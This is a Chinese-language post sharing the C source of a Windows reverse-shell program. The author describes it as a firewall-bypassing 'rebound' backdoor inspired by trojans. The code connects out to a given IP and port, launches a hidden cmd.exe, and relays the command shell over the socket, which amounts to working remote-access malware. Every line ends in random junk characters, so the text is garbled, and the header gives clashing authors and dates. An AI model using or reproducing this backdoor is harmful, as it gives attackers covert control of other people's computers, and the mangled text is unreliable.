这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 6C9KT;6
HdGAE1eU]}
/* ============================== P1]ucu_y,
Rebound port in Windows NT -q[T0^eS
By wind,2006/7 Ne,7[k
===============================*/ i)Vqvb0Q
#include b{)9?%_
#include Hq8<g$
D "j
=|4S#
#pragma comment(lib,"wsock32.lib") TKvUBy
yc8FEn!)&
void OutputShell(); 1 h|cr_
SOCKET sClient; E)o/C(g
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; HuBG?4Qd
&NZN_%
void main(int argc,char **argv) r+3V+:f
{ s$YKdtR
WSADATA stWsaData; 3}= .7qm
int nRet; 1eZ">,F6<
SOCKADDR_IN stSaiClient,stSaiServer; ?^mgK9^v@
B++.tQ=X.
if(argc != 3) #s{>v$F
{ C(b"0>
printf("Useage:\n\rRebound DestIP DestPort\n"); g2^7PtJg
return; 8N4W}YBs
} 1*S It5?4
LTG#nM0
WSAStartup(MAKEWORD(2,2),&stWsaData); St-:+=V_
.%+'Ts#ie
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <.CO{L\e
FVMR9~&+
stSaiClient.sin_family = AF_INET; 8)Z WR3)+W
stSaiClient.sin_port = htons(0); -20o%t
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); p<Wb^BE
xY(+[T!OF
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ^LaI{UDw%h
{ kV!0cLH!hH
printf("Bind Socket Failed!\n"); Nt,)5_K <
return; :k6|-A2
} A3*ti!X<6
gF^l`1f"
stSaiServer.sin_family = AF_INET; MB"uJUk
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); okoD26tK
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ji?0;2Y
`* "u"7e
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Yd~K\tX:n
{ 25BW/23}e
printf("Connect Error!"); ^_9 ^iL
return; %P0dY:L~
} v Q[{<|K
OutputShell(); 7Gnslp?[U
} vP^]Y.6
d#Sc4xuf
void OutputShell() DalQ.
{ 5u T
9ssC
char szBuff[1024]; 5#g<L ~
SECURITY_ATTRIBUTES stSecurityAttributes; fO[X<|9
OSVERSIONINFO stOsversionInfo; `J[(Dx'y=t
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; G]E$U]=9r:
STARTUPINFO stStartupInfo; >"jV8%!sM
char *szShell; /*`BGNkYY
PROCESS_INFORMATION stProcessInformation; ~"\sL;B
unsigned long lBytesRead; o+;=C@,'
\=Af AO@
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); zT#36+_?
V9-pY/v9
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); T~cq= i|O
stSecurityAttributes.lpSecurityDescriptor = 0; $^
(q0zR~l
stSecurityAttributes.bInheritHandle = TRUE; Iwi>yx8
<*0MD6$5
gGw6c" FRQ
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); H$KE*Wwq
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 8A"[n>931
DBAJkBs
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); VH4P|w[YF
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %}%D8-d}G
stStartupInfo.wShowWindow = SW_HIDE; /O|!Sg{
stStartupInfo.hStdInput = hReadPipe; ehtiu!Vk
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; RKdf1C
[6V'UI6
GetVersionEx(&stOsversionInfo); 0(|R NV_
K~<pD:s
switch(stOsversionInfo.dwPlatformId) =x>z|1
{ 1)?^N`xF
case 1: {k1s@KXtd
szShell = "command.com"; @I\Z2-J
break; jz't!wj
default: t!c8c^HR
szShell = "cmd.exe"; aQCbRS6
break; vY *p][$
} r=n|MT^O
?)<zrE5p
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); aw/Y#
4D"IAI
send(sClient,szMsg,77,0); |}^[f]
while(1) 6R%c+ok8i
{ YH)Unql
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); |.=Ee+HZ
if(lBytesRead) =}\]i*
{ j$T2ff6
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); M~I M;my
send(sClient,szBuff,lBytesRead,0); 2]eh[fRQ
} $qD8vu )|j
else q?[{fcNh$
{ d%1S6eYa'
lBytesRead=recv(sClient,szBuff,1024,0); G(JvAe]r
if(lBytesRead<=0) break; Q}^
n
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); \-GV8A2:k
} (*&6XTV(
} 6NbIT[LvT
*D~@xypy
return; Id]WKL:
}